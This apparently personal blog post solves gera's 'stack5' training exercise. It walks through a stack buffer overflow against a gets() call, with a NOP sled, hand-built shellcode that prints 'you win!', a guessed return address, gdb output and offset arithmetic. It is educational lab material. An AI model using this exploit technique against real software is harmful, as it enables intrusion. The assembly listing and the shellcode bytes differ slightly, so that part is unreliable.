/* stack5.c *
* specially crafted to feed your brain by gera */
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000a0d00)
printf("you lose!\n");
}
You have to provide and print your own "you win!" string in stack5. This is your classic buffer overflow exploit: control the saved return address and point it at your provided code.
Start by creating half a buffers worth of NOPs (0x90):
$ perl -e 'print "\x90" x 54;' > nops
I'm still "faking it till I make it" with ASM, so I pieced together the shellcode from various sources. I couldn't get Aleph1's call/jmp method to work--wasn't able to get the offsets right. Next, I stumbled on Charles Stevenson's writehello-core.c shellcode and modified it to meet my needs (Charles code is really understandable).
Here's the rough outline of the ASM:
xor ecx, ecx ; clear ecx mul ecx ; not sure what this is for push ecx ; push NULL onto stack push 0x216e6977 ; push win! in reverse on stack push 0x20756f79 ; push you in reverse on stack mov dl, 0x8 ; len of string in low order edx inc ebx ; fd, 1 == stdout mov ecx,esp ; stack pointer points to "you win!\0", move to ecx mov al, 0x4 ; syscall, 4 == sys_write in low order eax int 0x80 xor eax, eax ; return 0 mov al, 0x01 ; syscall, 1 == exit int 0x80
Using objdump, scratch __asm__() programs, and gdb's x/#bx command the ASM is transformed into hex (I'm deferring to Greyhat Hacking, Aleph1 and all the other buffer overflow papers out there for an explanation on how to convert the ASM into hex):
$ perl -e 'print "\x31\xdb\xf7\xe3\x53\x68\x77\x69\x6e\x21\x68\x79\x6f\x75\x20\xb2\x08\x43\x89\xe1\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";' > sc3
Tracking down a return address took some guessing/debugging with gdb. Started off with a bunch of A's:
$ perl -e 'print "A"x108' > of2
I set a breakpoint after we overflow buf and take a look at it:
$ gdb -q stack5 Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b 11 Breakpoint 1 at 0x8048417: file stack5.c, line 11. (gdb) run < of2 Starting program: /home/dennis/gera/stack5/stack5 < of2 buf: bffff4c0 cookie: bffff51c Breakpoint 1, main () at stack5.c:11 11 if (cookie == 0x000a0d00) (gdb) x/10x buf 0xbffff4c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff4d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff4e0: 0x41414141 0x41414141 (gdb)
0xbffff4e0 looks like a good place to start:
$ perl -e 'print "\xe0\xf4\xff\xbf" x 7;' > ret
7 comes from the following math problem:
112 bytes overwrites the saved return address.
112 - 54 (number of nops) - 30 (size of shellcode in bytes) = 28
28 / 4 (address take up 4 bytes) = 7
Let's put it all together:
$ cat nops > of
$ cat sc3 >> of
$ cat ret >> of
$ stack5 < of
buf: bffff4b0 cookie: bffff50c
you win!$
No comments:
Post a Comment